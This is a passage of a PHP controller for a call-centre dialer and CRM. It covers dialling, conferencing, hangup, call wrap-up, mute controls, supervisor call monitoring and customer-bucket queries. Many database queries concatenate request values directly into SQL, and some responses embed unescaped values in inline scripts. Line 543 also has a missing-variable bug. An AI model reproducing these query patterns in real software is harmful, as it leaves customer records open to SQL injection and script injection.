| 189 | // } | ||
| 190 | |||
| 191 | if(!$users) | ||
| 192 | { | ||
| 193 | $users=array(0=>array('id'=>0,'peopledata'=> serialize(array('client'=>'','department'=>'','mobile'=>$callnumber)))); | ||
| 194 | } | ||
| 195 | } | ||
| 196 | |||
| 197 | if($kstychDialer['mDialerState']=="DialNext"||$kstychDialer['mDialerState']=="Progressive") | ||
| 198 | { | ||
| 199 | if($kstychCall['previewcrmid']!="")$users=$wakka->getPersons("id='".$kstychCall['previewcrmid']."' $roclientstr limit 1"); | ||
| 200 | else if($kstychCall['callnumber']!="")$users=$wakka->getPersons("mobile='".$kstychCall['callnumber']."' $roclientstr limit 1"); | ||
| 201 | else $users=$this->getCallSequencing(1); | ||
| 202 | } | ||
| 203 | |||
| 204 | $searchresult='<div style="clear:both"></div><div id=divworking></div><div style="clear:both"></div>'; | ||
| 205 | if(!empty($users)) | ||
| 206 | { | ||
| 207 | if(sizeof($users)>=1) | ||
| 208 | { | ||
| 209 | $ppldata=unserialize($users[0]['peopledata']); | ||
| 210 | if(!isset($ppldata['client']))$ppldata['client']=""; | ||
| 211 | if(!isset($ppldata['department']))$ppldata['department']=""; | ||
| 212 | |||
| 213 | if($callnumber==""||intval($callnumber)<=0)$callnumber=$ppldata['mobile']; | ||
| 214 | if($callnumber!=""&&intval($callnumber)>0) | ||
| 215 | { | ||
| 216 | $mastersdata=$wakka->getCompanyMaster($ppldata['client']); | ||
| 217 | $callerid="";if(!empty($mastersdata["DialerDID"]))$callerid=$mastersdata["DialerDID"]; | ||
| 218 | if($callerid=="")$callerid=Auth::user()->exten; | ||
| 219 | |||
| 220 | $calleridarr=explode(":",$callerid);$dspan="1"; | ||
| 221 | if(isset($calleridarr[1])){$callerid=$calleridarr[0];$dspan=$calleridarr[1];} | ||
| 222 | |||
| 223 | //see if user is online on this sipid | ||
| 224 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 225 | if($sipid&&$sipid->user==Auth::user()->id&&$sipid->status==1) | ||
| 226 | { | ||
| 227 | |||
| 228 | $dialline=Dialline::where("status","=","Free")->where("enabled","=","1"); | ||
| 229 | if($dspan!="")$dialline=$dialline->where('dspan','=',$dspan); | ||
| 230 | $dialline=$dialline->orderBy('updated_at','ASC')->first(); | ||
| 231 | |||
| 232 | if($dialline) | ||
| 233 | { | ||
| 234 | $dialline->status="Blocked"; | ||
| 235 | $dialline->save(); | ||
| 236 | |||
| 237 | $nowts=microtime(true)*1000; | ||
| 238 | |||
| 239 | //get ts_Wait | ||
| 240 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 241 | $ts_Wait=$userlog->getLastTs($sipid->id,$nowts); | ||
| 242 | $userlog->save(); | ||
| 243 | |||
| 244 | //start the call log | ||
| 245 | $crmcall=new CRMCall(); | ||
| 246 | $crmcall->number=$callnumber; | ||
| 247 | $crmcall->user_id=Auth::user()->id; | ||
| 248 | $crmcall->sipid_id=$sipid->id; | ||
| 249 | $crmcall->crm_id=$users[0]['id']; | ||
| 250 | $crmcall->client=$ppldata['client']; | ||
| 251 | $crmcall->department=$ppldata['department']; | ||
| 252 | $crmcall->state='New'; | ||
| 253 | $crmcall->type=$kstychDialer['mDialerState']; | ||
| 254 | $crmcall->dialline_id=$dialline->id; | ||
| 255 | |||
| 256 | $crmcall->setTs('ts_Wait',$ts_Wait); | ||
| 257 | $crmcall->setTs('ts_Call',$nowts); | ||
| 258 | |||
| 259 | $crmcall->did=$callerid; | ||
| 260 | |||
| 261 | $tdata=array(); | ||
| 262 | $crmcall->data=json_encode($tdata); | ||
| 263 | $crmcall->save(); | ||
| 264 | |||
| 265 | //$wakka->setPersonKey($crmcall->crm_id,"dialer_lastcall",date("Y-m-d H:i:s")); | ||
| 266 | |||
| 267 | //start actual calls | ||
| 268 | $ppldata['dialer_lastcall']=date("Y-m-d H:i:s"); | ||
| 269 | $preppldata['peopledata'] = serialize($ppldata); | ||
| 270 | $wakka->setPerson($ppldata['peopledata']['id'],$preppldata); | ||
| 271 | |||
| 272 | $newqueue=new Kqueue(); | ||
| 273 | $newqueue->userToConf($sipid); | ||
| 274 | $newqueue=new Kqueue(); | ||
| 275 | $newqueue->custToConf($sipid,$callnumber,$callerid,$crmcall,$dialline); | ||
| 276 | |||
| 277 | |||
| 278 | $searchresult.="<script>kSetDData('C','callid','".$crmcall->id."');kSetDData('C','crmid','".$users[0]['id']."');kSetDData('C','callnumber','$callnumber');showRecruit(\"".$users[0]['id']."\");</script>"; | ||
| 279 | |||
| 280 | |||
| 281 | |||
| 282 | $searchresult.="<div id=internalid_matchlist></div><script> | ||
| 283 | doAjax('record?action=quicksearch','maintextsearch_1_txt=".$users[0]['clientinternalid']."&maintextsearch_1_span=InternalID','internalid_matchlist','searchMutex', 'searchxhr','POST',function(retstr){ | ||
| 284 | if(retstr.responseText.indexOf('No Records Found!')>-1)$('#internalid_matchlist').html(''); | ||
| 285 | }); | ||
| 286 | </script>"; | ||
| 287 | |||
| 288 | |||
| 289 | return Response::make($searchresult); | ||
| 290 | } | ||
| 291 | else | ||
| 292 | { | ||
| 293 | return Response::make("<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','No Lines Free to Dial!');</script>"); | ||
| 294 | } | ||
| 295 | } | ||
| 296 | else | ||
| 297 | { | ||
| 298 | return Response::make("<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','You Are Not Connected!');</script>"); | ||
| 299 | } | ||
| 300 | } | ||
| 301 | else | ||
| 302 | { | ||
| 303 | $wakka->setPersonKey($users[0]['id'],"status","NoNumber"); | ||
| 304 | |||
| 305 | return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','No Number in Record!');</script>"); | ||
| 306 | } | ||
| 307 | } | ||
| 308 | else | ||
| 309 | { | ||
| 310 | return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','Multiple Records Found!');createSearchRecordDiv('dialersearchbox');</script>"); | ||
| 311 | } | ||
| 312 | } | ||
| 313 | else return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','No Records Found!');createSearchRecordDiv('dialersearchbox');</script>"); | ||
| 314 | } | ||
| 315 | |||
| 316 | if($action=="addconfcall") | ||
| 317 | { | ||
| 318 | $retstr=""; | ||
| 319 | $callnumber=Input::get("confnumber"); | ||
| 320 | $callerid=""; | ||
| 321 | |||
| 322 | //see if user is online on this sipid | ||
| 323 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 324 | if($sipid&&$sipid->user==Auth::user()->id&&$sipid->status==1) | ||
| 325 | { | ||
| 326 | $oldcrmcall=CRMCall::find($kstychCall['callid']); | ||
| 327 | if($oldcrmcall) | ||
| 328 | { | ||
| 329 | $olddialline=Dialline::find($oldcrmcall->dialline_id); | ||
| 330 | $dspan="1";if($olddialline)$dspan=$olddialline->dspan; | ||
| 331 | |||
| 332 | $dialline=Dialline::where("status","=","Free")->where("enabled","=","1"); | ||
| 333 | if($dspan!="")$dialline=$dialline->where('dspan','=',$dspan); | ||
| 334 | $dialline=$dialline->orderBy('updated_at','ASC')->first(); | ||
| 335 | |||
| 336 | if($dialline) | ||
| 337 | { | ||
| 338 | |||
| 339 | $callerid=$oldcrmcall->did; | ||
| 340 | |||
| 341 | $dialline->status="Blocked"; | ||
| 342 | $dialline->save(); | ||
| 343 | |||
| 344 | $nowts=microtime(true)*1000; | ||
| 345 | |||
| 346 | //start the call log | ||
| 347 | $crmcall=new CRMCall(); | ||
| 348 | $crmcall->number=$callnumber; | ||
| 349 | $crmcall->user_id=Auth::user()->id; | ||
| 350 | $crmcall->sipid_id=$sipid->id; | ||
| 351 | $crmcall->crm_id=$oldcrmcall->crm_id; | ||
| 352 | $crmcall->client=$oldcrmcall->client; | ||
| 353 | $crmcall->department=$oldcrmcall->department; | ||
| 354 | $crmcall->state='New'; | ||
| 355 | $crmcall->userstatus='Conference'; | ||
| 356 | $crmcall->usersubstatus='Conference'; | ||
| 357 | $crmcall->type='Conference'; | ||
| 358 | $crmcall->dialline_id=$dialline->id; | ||
| 359 | |||
| 360 | $crmcall->setTs('ts_Wait',$nowts); | ||
| 361 | $crmcall->setTs('ts_Call',$nowts); | ||
| 362 | |||
| 363 | $crmcall->did=$callerid; | ||
| 364 | |||
| 365 | $tdata=array(); | ||
| 366 | $crmcall->data=json_encode($tdata); | ||
| 367 | $crmcall->save(); | ||
| 368 | |||
| 369 | |||
| 370 | |||
| 371 | //start actual calls | ||
| 372 | $newqueue=new Kqueue(); | ||
| 373 | $newqueue->userToConf($sipid); | ||
| 374 | $newqueue=new Kqueue(); | ||
| 375 | $newqueue->custToConf($sipid,$callnumber,$callerid,$crmcall,$dialline); | ||
| 376 | |||
| 377 | $retstr=$crmcall->id; | ||
| 378 | } | ||
| 379 | else | ||
| 380 | { | ||
| 381 | $retstr="Error : No Lines Free to Dial!"; | ||
| 382 | } | ||
| 383 | } | ||
| 384 | else | ||
| 385 | { | ||
| 386 | $retstr="Error : No calls to conference found!"; | ||
| 387 | } | ||
| 388 | } | ||
| 389 | else | ||
| 390 | { | ||
| 391 | $retstr="Error : You Are Not Connected!"; | ||
| 392 | } | ||
| 393 | |||
| 394 | return Response::make($retstr); | ||
| 395 | } | ||
| 396 | |||
| 397 | if($action=="hangupall") | ||
| 398 | { | ||
| 399 | $res=0; | ||
| 400 | $callid=intval($kstychCall['callid'])+0; | ||
| 401 | $crmcall=CRMCall::find($callid); | ||
| 402 | if($crmcall&&$crmcall->user_id==Auth::user()->id) | ||
| 403 | { | ||
| 404 | if($crmcall->state=='New'&&time()-strtotime($crmcall->created_at)<=3) | ||
| 405 | { | ||
| 406 | return Response::make("//Error : Dialstate is $crmcall->state"); | ||
| 407 | } | ||
| 408 | else | ||
| 409 | { | ||
| 410 | $dialline=Dialline::find($crmcall->dialline_id); | ||
| 411 | if($dialline) | ||
| 412 | { | ||
| 413 | if($crmcall->state!='Hangup') | ||
| 414 | { | ||
| 415 | $crmcall->hsource='User'; | ||
| 416 | $crmcall->save(); | ||
| 417 | } | ||
| 418 | |||
| 419 | //hangup | ||
| 420 | $newqueue=new Kqueue(); | ||
| 421 | $newqueue->hangupChannel($dialline); | ||
| 422 | if($kstychDialer["keeplocalconf"]=="0") | ||
| 423 | { | ||
| 424 | $newqueue=new Kqueue(); | ||
| 425 | $newqueue->hangupChannelS($kstychDialer['connection']['channel'],$dialline->server); | ||
| 426 | } | ||
| 427 | |||
| 428 | //hangup any conf calls | ||
| 429 | if(is_array($kstychCall['connections']))foreach($kstychCall['connections'] as $num=>$conn) | ||
| 430 | { | ||
| 431 | if(!empty($conn['callid'])) | ||
| 432 | { | ||
| 433 | $tcrmcall=CRMCall::find($conn['callid']); | ||
| 434 | if($tcrmcall) | ||
| 435 | { | ||
| 436 | $tdialline=Dialline::find($tcrmcall->dialline_id); | ||
| 437 | if($tdialline) | ||
| 438 | { | ||
| 439 | $newqueue=new Kqueue(); | ||
| 440 | $newqueue->hangupChannel($tdialline); | ||
| 441 | |||
| 442 | $res.=$conn['callid']."_"; | ||
| 443 | } | ||
| 444 | } | ||
| 445 | } | ||
| 446 | } | ||
| 447 | |||
| 448 | return Response::make("//SENT $res"); | ||
| 449 | } | ||
| 450 | else return Response::make("//Error : Dialline Not found ($callid)"); | ||
| 451 | } | ||
| 452 | } | ||
| 453 | else return Response::make("//Error : Call Not Found ($callid)"); | ||
| 454 | } | ||
| 455 | |||
| 456 | if($action=="closecall") | ||
| 457 | { | ||
| 458 | $callid=intval($kstychCall['callid'])+0; | ||
| 459 | $crmcall=CRMCall::find($callid); | ||
| 460 | if($crmcall&&$crmcall->user_id==Auth::user()->id) | ||
| 461 | { | ||
| 462 | $nowts=microtime(true)*1000; | ||
| 463 | |||
| 464 | if($kstychCall["usercallback"]!="") | ||
| 465 | { | ||
| 466 | $kstychCall["usercallback"]=date("Y-m-d H:i:s",strtotime($kstychCall["usercallback"].":00")+((Auth::user()->timezone)*60)); | ||
| 467 | } | ||
| 468 | |||
| 469 | $crmcall->setTs('ts_Close',$nowts); | ||
| 470 | |||
| 471 | $crmcall->userstatus =$kstychCall["userstatus"]; | ||
| 472 | $crmcall->usersubstatus =$kstychCall["usersubstatus"]; | ||
| 473 | $crmcall->usercallback =$kstychCall["usercallback"]; | ||
| 474 | $crmcall->attempt =$kstychCall["attempt"];//attempt dropdown value insert. | ||
| 475 | |||
| 476 | //preg_replace("/[^ \w]+/", "", $kstychCall["userremarks"]); | ||
| 477 | $crmcall->userremarks =preg_replace("/[^ \w]+/","", $kstychCall["userremarks"]); | ||
| 478 | |||
| 479 | |||
| 480 | |||
| 481 | $wakka = new KHRMSLib(); | ||
| 482 | |||
| 483 | if($crmcall->crm_id==0) | ||
| 484 | { | ||
| 485 | if($kstychCall["crmid"]>0) | ||
| 486 | { | ||
| 487 | $crmcall->crm_id=$kstychCall["crmid"]; | ||
| 488 | |||
| 489 | $temparr=$wakka->getPerson($crmcall->crm_id); | ||
| 490 | if(isset($temparr)&&isset($temparr['peopledata'])&&isset($temparr['peopledata']['client']))$crmcall->client=$temparr['peopledata']['client']; | ||
| 491 | } | ||
| 492 | } | ||
| 493 | |||
| 494 | if($crmcall->crm_id>0) | ||
| 495 | { | ||
| 496 | if(is_array($kstychCall["userdata"])) | ||
| 497 | { | ||
| 498 | foreach($kstychCall["userdata"] as $tcrmid=>$tuserdata) | ||
| 499 | { | ||
| 500 | if($tcrmid==$crmcall->crm_id) | ||
| 501 | { | ||
| 502 | $crmcall->userdata=json_encode($kstychCall["userdata"][$tcrmid]); | ||
| 503 | } | ||
| 504 | else | ||
| 505 | { | ||
| 506 | $empty="?"; | ||
| 507 | foreach($kstychCall["userdata"][$tcrmid] as $key=>$val) | ||
| 508 | { | ||
| 509 | if(trim($val)!=""){$empty="no";break;} | ||
| 510 | } | ||
| 511 | if($empty=="no") | ||
| 512 | { | ||
| 513 | $tcrmcall=new CRMCall(); | ||
| 514 | $tcrmcall->number=$crmcall->number; | ||
| 515 | $tcrmcall->user_id=Auth::user()->id; | ||
| 516 | $tcrmcall->sipid_id=$crmcall->sipid_id; | ||
| 517 | $tcrmcall->crm_id=$tcrmid; | ||
| 518 | $tcrmcall->client=$crmcall->client; | ||
| 519 | $tcrmcall->department=$crmcall->department; | ||
| 520 | $tcrmcall->state='Hangup'; | ||
| 521 | $tcrmcall->type='NoCall'; | ||
| 522 | $tcrmcall->userstatus='NoCall'; | ||
| 523 | $tcrmcall->usersubstatus='NoCall'; | ||
| 524 | //$tcrmcall->dialline_id=''; | ||
| 525 | |||
| 526 | $tcrmcall->setTs('ts_Wait',$nowts); | ||
| 527 | |||
| 528 | $tcrmcall->did=$crmcall->did; | ||
| 529 | |||
| 530 | $tdata=array(); | ||
| 531 | $tcrmcall->data=json_encode($tdata); | ||
| 532 | |||
| 533 | $tcrmcall->userdata=json_encode($kstychCall["userdata"][$tcrmid]); | ||
| 534 | |||
| 535 | $tcrmcall->save(); | ||
| 536 | |||
| 537 | |||
| 538 | |||
| 539 | $tuser=$wakka->getPerson($tcrmid); | ||
| 540 | $tuser['peopledata']["dialer_status"]=$kstychCall["userstatus"]; | ||
| 541 | $tuser['peopledata']["dialer_substatus"]=$kstychCall["usersubstatus"]; | ||
| 542 | $tuser['peopledata']["dialer_callback"]=$kstychCall["usercallback"]; | ||
| 543 | $tuser['peopledata']["dialer_remarks"]=str_replace("'","",kstychCall["userremarks"]); | ||
| 544 | $tuser['peopledata']["dialer_flag"]=$kstychCall["userflag"]; | ||
| 545 | |||
| 546 | $tuser["bttc"]=$kstychCall["bttc_day"].":".$kstychCall["bttc_hrs"]; | ||
| 547 | $tuser["serv_vs_prod"]=$kstychCall["serv_vs_prod"]; | ||
| 548 | $tuser["resolution"]=$kstychCall["resolution"]; | ||
| 549 | $tuser["satisfy"]=$kstychCall["satisfy"]; | ||
| 550 | $tuser["final_call_assess"]=$kstychCall["final_call_assess"]; | ||
| 551 | |||
| 552 | $tuser['peopledata']["dialer_userdata"]=$kstychCall["userdata"][$tcrmid]; | ||
| 553 | if($tuser['peopledata']["status"]=='New' || $tuser['peopledata']["status"]=='NEW')$tuser['peopledata']["status"]="Called"; | ||
| 554 | |||
| 555 | //for Supervisor Comments - By Manish | ||
| 556 | $tuser['agentcomments']=$kstychCall["agentcomments"]; | ||
| 557 | $tuser['supcomntid']=$kstychCall["supcomntid"]; | ||
| 558 | |||
| 559 | $tuser['peopledata']["dialer_lastcall"]=date("Y-m-d H:i:s"); | ||
| 560 | $wakka->setPerson($tcrmid,$tuser); | ||
| 561 | } | ||
| 562 | } | ||
| 563 | } | ||
| 564 | } | ||
| 565 | |||
| 566 | |||
| 567 | $user=$wakka->getPerson($crmcall->crm_id); | ||
| 568 | if($user['peopledata']['id']==$crmcall->crm_id) | ||
| 569 | { | ||
| 570 | $user['peopledata']["dialer_status"]=$kstychCall["userstatus"]; | ||
| 571 | $user['peopledata']["dialer_substatus"]=$kstychCall["usersubstatus"]; | ||
| 572 | $user['peopledata']["dialer_callback"]=$kstychCall["usercallback"]; | ||
| 573 | $user['peopledata']["dialer_remarks"]=str_replace("'","",$kstychCall["userremarks"]); | ||
| 574 | $user['peopledata']["dialer_flag"]=$kstychCall["userflag"]; | ||
| 575 | |||
| 576 | $user['peopledata']["bttc"]=$kstychCall["bttc_day"].":".$kstychCall["bttc_hrs"]; | ||
| 577 | $user['peopledata']["service_vs_product"]=$kstychCall["serv_vs_prod"]; | ||
| 578 | $user['peopledata']["resolution"]=$kstychCall["resolution"]; | ||
| 579 | $user['peopledata']["satisfaction"]=$kstychCall["satisfy"]; | ||
| 580 | $user['peopledata']["final_call_assessment"]=$kstychCall["final_call_assess"]; | ||
| 581 | |||
| 582 | // For Add Priority Snippet In Waterfall Bucket | ||
| 583 | if($user['peopledata']["priority"]) | ||
| 584 | $user['peopledata']["priority"] = ''; | ||
| 585 | |||
| 586 | if($user['peopledata']["mf_isa"]) | ||
| 587 | $user['peopledata']["mf_isa"] = ''; | ||
| 588 | |||
| 589 | $user['peopledata']["dialer_userdata"]=$kstychCall["userdata"][$crmcall->crm_id]; | ||
| 590 | $user['peopledata']["dialer_lastcall"]=date("Y-m-d H:i:s"); | ||
| 591 | if($user['peopledata']["status"]=='New' || $user['peopledata']["status"]=='NEW')$user['peopledata']["status"]="Called"; | ||
| 592 | //for Supervisor Comments - By Manish | ||
| 593 | $user['agentcomments']=$kstychCall["agentcomments"]; | ||
| 594 | $user['supcomntid']=$kstychCall["supcomntid"]; | ||
| 595 | |||
| 596 | $wakka->setPerson($crmcall->crm_id,$user); | ||
| 597 | |||
| 598 | //update groupid if this is not groupid TODO move to config | ||
| 599 | if($user['peopledata']['clientcode']!=$user['peopledata']['clientinternalid']) | ||
| 600 | { | ||
| 601 | $tusers=$wakka->getPersons(" clientinternalid='".$user['peopledata']['clientinternalid']."' limit 1"); | ||
| 602 | |||
| 603 | if(!empty($tusers)) | ||
| 604 | { | ||
| 605 | $tppldata=unserialize($tusers[0]['peopledata']); | ||
| 606 | if($tppldata['status']=='New')$wakka->setPersonKey($tusers[0]['id'],'status','Called'); | ||
| 607 | //if($tppldata['dialer_status']=='') //TODO Config | ||
| 608 | { | ||
| 609 | $wakka->setPersonKey($tusers[0]['id'],'dialer_status',$user['peopledata']["dialer_status"]); | ||
| 610 | $wakka->setPersonKey($tusers[0]['id'],'dialer_substatus',$user['peopledata']["dialer_substatus"]); | ||
| 611 | } | ||
| 612 | } | ||
| 613 | } | ||
| 614 | } | ||
| 615 | } | ||
| 616 | |||
| 617 | $crmcall->saveRecFileSize(); | ||
| 618 | $crmcall->save(); | ||
| 619 | |||
| 620 | /*if(Auth::user()->id=='92') | ||
| 621 | {*/ | ||
| 622 | $fullremark=preg_replace("/[^ \w]+/", "", $kstychCall['fullremark']); | ||
| 623 | |||
| 624 | DB::insert(DB::raw("insert into full_remark set call_id='$callid',fullremark='$fullremark'")); | ||
| 625 | //} | ||
| 626 | |||
| 627 | /*$fullremark=preg_replace("/[^ \w]+/", "", $kstychCall['fullremark']); | ||
| 628 | |||
| 629 | DB::table('full_remark')->insert(['call_id'=>$callid,'fullremark'=>$fullremark]);*/ | ||
| 630 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 631 | $userlog->getLastTs($crmcall->sipid_id,$nowts); | ||
| 632 | $userlog->save(); | ||
| 633 | } | ||
| 634 | |||
| 635 | return Response::make(""); | ||
| 636 | } | ||
| 637 | |||
| 638 | //WRAPUP - Done By Manish | ||
| 639 | if($action == 'wrapup') | ||
| 640 | { | ||
| 641 | $callid=intval($kstychCall['callid'])+0; | ||
| 642 | $crmcall=CRMCall::find($callid); | ||
| 643 | if($crmcall&&$crmcall->user_id==Auth::user()->id) | ||
| 644 | { | ||
| 645 | $nowts=microtime(true)*1000; | ||
| 646 | |||
| 647 | $userstatus=$kstychCall["userstatus"]; | ||
| 648 | $usersubstatus=$kstychCall["usersubstatus"]; | ||
| 649 | |||
| 650 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 651 | $userlog->getLastTs($crmcall->sipid_id,$nowts,$userstatus,$usersubstatus); | ||
| 652 | $userlog->save(); | ||
| 653 | } | ||
| 654 | |||
| 655 | return Response::make(""); | ||
| 656 | } | ||
| 657 | |||
| 658 | if($action=="kCallAction") | ||
| 659 | { | ||
| 660 | $actiontype=Input::get('actiontype'); | ||
| 661 | $conf=Input::get("conf"); | ||
| 662 | $channel=Input::get("channel"); | ||
| 663 | |||
| 664 | if($actiontype=="Hangup") | ||
| 665 | { | ||
| 666 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 667 | if($tdialline) | ||
| 668 | { | ||
| 669 | $newqueue=new Kqueue(); | ||
| 670 | $newqueue->hangupChannel($tdialline); | ||
| 671 | } | ||
| 672 | } | ||
| 673 | |||
| 674 | if($actiontype=="MuteMic") | ||
| 675 | { | ||
| 676 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 677 | if($tdialline) | ||
| 678 | { | ||
| 679 | $newqueue=new Kqueue(); | ||
| 680 | $newqueue->channelMuteMic($tdialline->channel,$tdialline->server); | ||
| 681 | } | ||
| 682 | } | ||
| 683 | if($actiontype=="MuteSpeaker") | ||
| 684 | { | ||
| 685 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 686 | if($tdialline) | ||
| 687 | { | ||
| 688 | $newqueue=new Kqueue(); | ||
| 689 | $newqueue->channelMuteSpeaker($tdialline->channel,$tdialline->server); | ||
| 690 | } | ||
| 691 | } | ||
| 692 | if($actiontype=="UnMuteMic") | ||
| 693 | { | ||
| 694 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 695 | if($tdialline) | ||
| 696 | { | ||
| 697 | $newqueue=new Kqueue(); | ||
| 698 | $newqueue->channelUnMuteMic($tdialline->channel,$tdialline->server); | ||
| 699 | } | ||
| 700 | } | ||
| 701 | if($actiontype=="UnMuteSpeaker") | ||
| 702 | { | ||
| 703 | $tdialline=Dialline::where('channel','=',$channel)->first(); | ||
| 704 | if($tdialline) | ||
| 705 | { | ||
| 706 | $newqueue=new Kqueue(); | ||
| 707 | $newqueue->channelUnMuteSpeaker($tdialline->channel,$tdialline->server); | ||
| 708 | } | ||
| 709 | } | ||
| 710 | |||
| 711 | return Response::make(""); | ||
| 712 | } | ||
| 713 | |||
| 714 | if($action=="dialerstate") | ||
| 715 | { | ||
| 716 | $ready=0;if($kstychDialer['mDialerState']=="Ready"&&$kstychCall['mCallState']=="Wait")$ready=1; | ||
| 717 | $nowts=microtime(true)*1000; | ||
| 718 | |||
| 719 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 720 | if($sipid&&$sipid->user==Auth::user()->id&&$sipid->status==1) | ||
| 721 | { | ||
| 722 | $sipid->ready=$ready; | ||
| 723 | $sipid->save(); | ||
| 724 | |||
| 725 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 726 | $userlog->getLastTs($sipid->id,$nowts,$kstychDialer['mDialerState'],$kstychDialer['mDialerSubState']); | ||
| 727 | $userlog->save(); | ||
| 728 | } | ||
| 729 | return Response::make(""); | ||
| 730 | } | ||
| 731 | |||
| 732 | if($action=="spychannel") | ||
| 733 | { | ||
| 734 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 735 | |||
| 736 | $tosip=Input::get('sipid'); | ||
| 737 | $mode=Input::get('mode'); | ||
| 738 | $modes=array('L'=>'2000','B'=>'2002','W'=>'2001'); | ||
| 739 | |||
| 740 | if($sipid&&$tosip!=""&&isset($modes[$mode])) | ||
| 741 | { | ||
| 742 | $newqueue=new Kqueue(); | ||
| 743 | $newqueue->sipOriginate($sipid,$modes[$mode].$tosip,"kstychDialerSpy"); | ||
| 744 | } | ||
| 745 | return Response::make(""); | ||
| 746 | } | ||
| 747 | |||
| 748 | if($action=="recarchive") | ||
| 749 | { | ||
| 750 | $type=Input::get("type"); | ||
| 751 | if($type=="stageupload") | ||
| 752 | { | ||
| 753 | return view("layout.module.dialer.recarchive",array()); | ||
| 754 | } | ||
| 755 | |||
| 756 | } | ||
| 757 | |||
| 758 | } | ||
| 759 | public function show($id) | ||
| 760 | { | ||
| 761 | /*if(time()>strtotime('14:30:00') || time()<strtotime('03:30:00')) | ||
| 762 | { | ||
| 763 | Session::flush(); | ||
| 764 | }*/ | ||
| 765 | |||
| 766 | if($id=="bucketdata") | ||
| 767 | { | ||
| 768 | $client=Input::get("client",""); | ||
| 769 | $bucket=Input::get("bucket"); | ||
| 770 | $currentstatus=Input::get("currentstatus"); | ||
| 771 | $legalstatus=Input::get("legalstatus"); | ||
| 772 | $page=intval(Input::get('page'));if($page<1)$page=1; | ||
| 773 | $skey=Input::get('skey'); | ||
| 774 | $stxt=Input::get('stxt'); | ||
| 775 | |||
| 776 | |||
| 777 | |||
| 778 | $skey=''; | ||
| 779 | /*if($skey=="ID")$key='id'; | ||
| 780 | if($skey=="FirstName")$key='firstname'; | ||
| 781 | if($skey=="LastName")$key='lastname'; | ||
| 782 | if($skey=="Client")$key='client'; | ||
| 783 | if($skey=="Mobile")$key='mobile'; | ||
| 784 | if($skey=="Email")$key='emailid'; | ||
| 785 | if($skey=="Passport")$key='passportno'; | ||
| 786 | if($skey=="IBAN")$key='ibannumber'; | ||
| 787 | if($skey=="Status")$key='currentstatus'; | ||
| 788 | if($skey=="PersonalID")$key='laborcardpersonalid'; | ||
| 789 | if($skey=="InternalID")$key='clientinternalid'; | ||
| 790 | if($skey=="ClientCode")$key='clientcode'; | ||
| 791 | if($key!=''&&$stxt!='')$key=" and $key like '$stxt%'";else $key="";*/ | ||
| 792 | |||
| 793 | /*if($stxt!='')$skey=" and (id like '$stxt%' or firstname like '$stxt%' or lastname like '$stxt%' or client like '$stxt%' or mobile like '$stxt%' or emailid like '$stxt%' or passportno like '$stxt%' or ibannumber like '$stxt%' or currentstatus like '$stxt%' or laborcardpersonalid like '$stxt%' or clientinternalid like '$stxt%' or clientcode like '$stxt%')";else $skey="";*/ | ||
| 794 | |||
| 795 | if($stxt!='')$skey=" and (firstname like '$stxt%' or mobile like '$stxt%' or clientcode like '$stxt%')";else $skey=""; | ||
| 796 | |||
| 797 | $wakka = new KHRMSLib(); | ||
| 798 | $rows=""; | ||
| 799 | |||
| 800 | $owclientstr=array(); | ||
| 801 | $oclientlst=$wakka->clientsOwnerRWAccess(); | ||
| 802 | |||
| 803 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 804 | { | ||
| 805 | $owclientstr[]="'$tclnt'"; | ||
| 806 | if($client=="")$client=$tclnt; | ||
| 807 | } | ||
| 808 | if(!empty($owclientstr))$owclientstr="and client in (".implode(",",$owclientstr).")";else $owclientstr=""; | ||
| 809 | if($client!="")$owclientstr="and client='$client'"; | ||
| 810 | |||
| 811 | $roclientstr=array();$didlinesstr=array();if(Auth::user()->exten!="")$didlinesstr[]=Auth::user()->exten; | ||
| 812 | $roclientlst=$wakka->clientsReadAccess(); | ||
| 813 | |||
| 814 | if(!empty($roclientlst))foreach($roclientlst as $tclnt)if($tclnt!="") | ||
| 815 | { | ||
| 816 | $roclientstr[]="'$tclnt'"; | ||
| 817 | if($client=="")$client=$tclnt; | ||
| 818 | |||
| 819 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 820 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 821 | } | ||
| 822 | foreach($didlinesstr as $k=>$dids) | ||
| 823 | { | ||
| 824 | $didarr=explode(":",$dids); | ||
| 825 | $didlinesstr[$k]=$didarr[0]; | ||
| 826 | } | ||
| 827 | |||
| 828 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 829 | $roclientstrAll=$roclientstr; | ||
| 830 | if($client!="")$roclientstr="and client='$client'"; | ||
| 831 | |||
| 832 | $bl=20; | ||
| 833 | $bs=($page-1)*$bl; | ||
| 834 | |||
| 835 | $dbres=array(); | ||
| 836 | if($bucket=="CurrentQueue")$dbres=$this->getCallSequencing(20); | ||
| 837 | else if($bucket=="Priority")$dbres=$wakka->getPersons("priority in (1,2,3,4,5,6,7,8,9,10) $owclientstr limit $bs,$bl"); | ||
| 838 | else if($bucket=="TotalData")$dbres=$wakka->getPersons("1=1 and currentstatus='$currentstatus' and legalstatus='$legalstatus' and status!='Noqueue' $owclientstr limit $bs,$bl"); | ||
